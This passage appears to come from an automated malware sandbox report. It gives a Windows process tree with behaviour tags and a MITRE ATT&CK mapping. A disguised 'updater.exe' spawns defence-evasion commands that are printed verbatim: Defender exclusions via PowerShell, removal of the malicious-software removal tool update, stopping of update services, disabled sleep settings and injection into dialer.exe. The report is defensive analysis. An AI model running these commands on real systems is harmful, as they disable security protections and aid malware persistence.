- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5884,i,7361127908032516763,12884093157071336322,524288 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5896 /prefetch:14
    3⤵
    PID:5560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5888,i,4942664255086016530,15914162940291716246,524288 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5672 /prefetch:14
    3⤵
    PID:3360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5892,i,7797288470797899261,1853189324404530918,524288 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5936 /prefetch:14
    3⤵
    PID:2316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3752,i,7658305000157540492,8661358569497296689,524288 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2188 /prefetch:11
    3⤵
    - System Time Discovery
    PID:7056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:5244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7fffc673c188,0x7fffc673c194,0x7fffc673c1a0
    3⤵
    PID:2648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1692,i,10429314937010300685,8984269276102991449,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:11
    3⤵
    - System Time Discovery
    PID:6092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1540,i,3826338861608013363,3379883925541405727,262144 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:2
    3⤵
    PID:5928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2376,i,8141718170621087287,3061867576248236111,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:13
    3⤵
    PID:5128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3416,i,17447543462680105632,8458686546964474182,2097152 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
    3⤵
    PID:4412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3420,i,12255771058305811888,5741074780077056916,2097152 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
    3⤵
    PID:3748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4740,i,15389078906681412760,7867938285633699289,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:14
    3⤵
    PID:3360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4796,i,10419737218485309083,12374995208350580943,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:14
    3⤵
    PID:4084
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,2474432009104747910,6082166259875093138,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
    3⤵
    PID:2944
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5928,i,13701833350730176568,4179747694523278519,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:14
    3⤵
    PID:5248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=1144
      4⤵
      PID:5600
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,2474432009104747910,6082166259875093138,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
    3⤵
    PID:2552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6008,i,15494050721109129325,10222074730790379348,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
    3⤵
    PID:6712
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,10835407402274018617,5421568094002728609,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:14
    3⤵
    PID:6884
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6004,i,6969870225050965913,1496623075888614781,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:14
    3⤵
    PID:6952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6128,i,14182440336237580840,13309019526976932167,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:14
    3⤵
    PID:7068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5968,i,13671144224356315182,7493314011324053803,524288 --field-trial-handle=2164,i,2762993165660669174,7031497746941410716,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
    3⤵
    PID:6276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3280

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3600

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3760

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3776

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:5336

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4448

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:3368

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5332

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2576

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5552

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1196

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3812

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3408

C:\ProgramData\Chrome146\Chrome145.exe
C:\ProgramData\Chrome146\Chrome145.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:2276

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} -Embedding
1⤵
PID:4736

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1152

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:596

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:2968
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5524
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5076
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1228
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1372
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5036
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4436
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1996
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:596
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4264
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5996
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:3456
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4348
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5596

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4540

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2308

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5472

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5272

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:6840

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:6616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery